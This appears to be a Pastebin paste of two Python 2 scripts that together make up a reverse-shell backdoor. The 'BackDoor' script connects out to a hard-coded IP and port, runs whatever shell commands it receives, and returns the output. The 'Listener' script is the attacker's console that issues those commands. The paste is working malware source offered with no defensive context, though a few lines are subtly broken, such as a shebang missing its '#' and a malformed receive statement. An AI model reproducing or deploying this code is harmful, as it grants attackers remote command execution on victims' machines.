Advertisement
Guest User

Untitled

a guest
Jul 14th, 2023
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. BackDoor:
  2.  
  3. #!/usr/bin/env python
  4. import socket
  5. import subprocess
  6. import json
  7.  
  8. class Backdoor:
  9. def __init__(self, ip, port):
  10. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. self.connection.connect((ip, port))
  12.  
  13. def reliable_send(self, data):
  14. json_data = json.dumps(data)
  15. self.connection.send(json_data)
  16.  
  17. def reliable_receive(self):
  18. json_data = ""
  19. while True:
  20. try:
  21. json_data = json_data + self.connection.recv(1024)
  22. return json.loads(json_data)
  23. except ValueError:
  24. continue
  25.  
  26. def execute_system_command(self, command):
  27. return subprocess.check_output(command, shell=True)
  28.  
  29. def run(self):
  30. while True:
  31. command = self.reliable_receive()
  32. command_result = self.execute_system_command(command)
  33. self.reliable_send(command_result)
  34. self.connection.close()
  35.  
  36. my_backdoor = Backdoor("192.168.110.128", 8080)
  37. my_backdoor.run()
  38.  
  39. Listener:
  40.  
  41. !/usr/bin/python
  42. import socket, json
  43.  
  44.  
  45. class Listener:
  46. def __init__(self, ip, port):
  47. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  48. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  49. listener.bind((ip, port))
  50. listener.listen(0)
  51. print("[+] Waiting for incoming connections")
  52. self.connection, address = listener.accept()
  53. print("[+] Got a connection from " + str(address))
  54.  
  55. def reliable_send(self, data):
  56. json_data = json.dumps(data)
  57. self.connection.send(json_data)
  58.  
  59. def reliable_receive(self):
  60. json_data = ""
  61. while True:
  62. try:
  63. json_data = + self.connection.recv(1024)
  64. return json.loads(json_data)
  65. except ValueError:
  66. continue
  67.  
  68. def execute_remotely(self, command):
  69. self.reliable_send(command)
  70. return self.reliable_receive()
  71.  
  72. def run(self):
  73. while True:
  74. command = raw_input(">> ")
  75. result = self.execute_remotely(command)
  76. print(result)
  77.  
  78. my_listener = Listener("192.168.110.128", 8080)
  79. my_listener.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement